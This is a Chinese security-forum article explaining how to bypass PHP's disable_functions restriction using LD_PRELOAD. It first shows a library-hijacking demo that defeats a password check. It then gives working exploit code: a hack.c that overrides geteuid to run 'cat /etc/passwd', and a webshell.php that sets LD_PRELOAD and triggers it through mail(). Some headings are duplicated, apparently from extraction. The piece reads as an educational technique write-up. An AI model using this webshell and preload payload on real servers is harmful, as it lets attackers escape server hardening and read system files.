浅谈Bypass disable_function
本文为看雪论坛优秀文章
看雪论坛作者ID:H4ck3R_XiX
功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。
危险等级:高
功能描述:建立一个 Internet 或 UNIX 服务器连接。
危险等级:中
>>>>
一、LD_PRELOAD
一、LD_PRELOAD
>>>>
二、程序调用流程图
二、程序调用流程图
>>>> 三、演示程序代码
// myverifypasswd.c
void main(int argc,char **argv) {
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <password>\n",argv[0]);
return;
}
if (!mystrcmp(passwd,argv[1])) {
printf("Correct Password!\n");
return;
}
printf("Invalid Password!\n");
}
int mystrcmp(const char *s1,const char *s2);
// mystrcmp.c
int mystrcmp(const char *s1,const char *s2)
{
return strcmp(s1,s2);
}
gcc mystrcmp.c -fPIC -shared -o libmystrcmp.so
gcc myverifypasswd.c -L. -lmystrcmp -o myverifypasswd
export LD_LIBRARY_PATH=/home/n6/桌面/LD_PRELOAD #指定动态链接库所在目录位置
ldd myverifypasswd #显示、确认依赖关系
./myverifypasswd
// myhack.c
int mystrcmp(const char *s1, const char *s2)
{
printf("hack function invoked. s1=<%s> s2=<%s>\n", s1, s2);
// always return 0, which means s1 equals to s2--总是相等
return 0;
}
>>>> 六、替换并测试运行
编制我们自己的动态链接程序
通过 putenv 来设置 LD_PRELOAD,让我们的程序优先被调用
在 webshell 上用 mail 函数发送一封邮件来触发
//hack.c
void payload() {
system("cat /etc/passwd > list.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
//webshell.php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("H4ck3R.XiX","","","","");
$file_path = "list.txt";
if(file_exists($file_path)){
$file_arr = file($file_path);
for($i=0;$i<count($file_arr);$i++){
//逐行读取文件内容
echo $file_arr[$i]."<br />";
fclose($file_arr);
}
}
看雪ID:H4ck3R_XiX
https://bbs.pediy.com/user-835631.htm
推荐文章++++
* ollvm源码分析 - Pass之SplitBaiscBlocks